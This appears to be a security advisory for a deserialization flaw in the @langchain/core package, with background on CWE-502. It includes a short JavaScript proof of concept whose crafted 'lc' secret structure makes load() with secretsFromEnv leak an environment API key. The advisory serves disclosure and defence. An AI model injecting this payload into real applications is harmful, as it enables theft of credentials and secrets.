Deserialization of Untrusted Data Affecting @langchain/core package, versions <0.3.80>=1.0.0-alpha.1 <1.1.8

@langchain/core is a Core LangChain.js abstractions and schemas

Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the toJSON function, which fails to properly escape user-controlled objects containing the lc key during serialization. An attacker can extract sensitive environment variable values or instantiate arbitrary classes with attacker-controlled parameters by injecting specially crafted structures into fields such as additional_kwargs and response_metadata that are later deserialized.

Note: This is only exploitable if untrusted data is serialized and then deserialized using the affected process, or if untrusted data is directly deserialized with the relevant method and the secretsFromEnv option is enabled.

import { load } from "@langchain/core/load";

// Attacker injects secret structure into user-controlled data
const attackerPayload = JSON.stringify({
  user_data: {
    lc: 1,
    type: "secret",
    id: ["OPENAI_API_KEY"],
  },
});

process.env.OPENAI_API_KEY = "sk-secret-key-12345";

// With secretsFromEnv: true, the secret is extracted
const deserialized = await load(attackerPayload, { secretsFromEnv: true });

console.log(deserialized.user_data); // "sk-secret-key-12345" - SECRET LEAKED!

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

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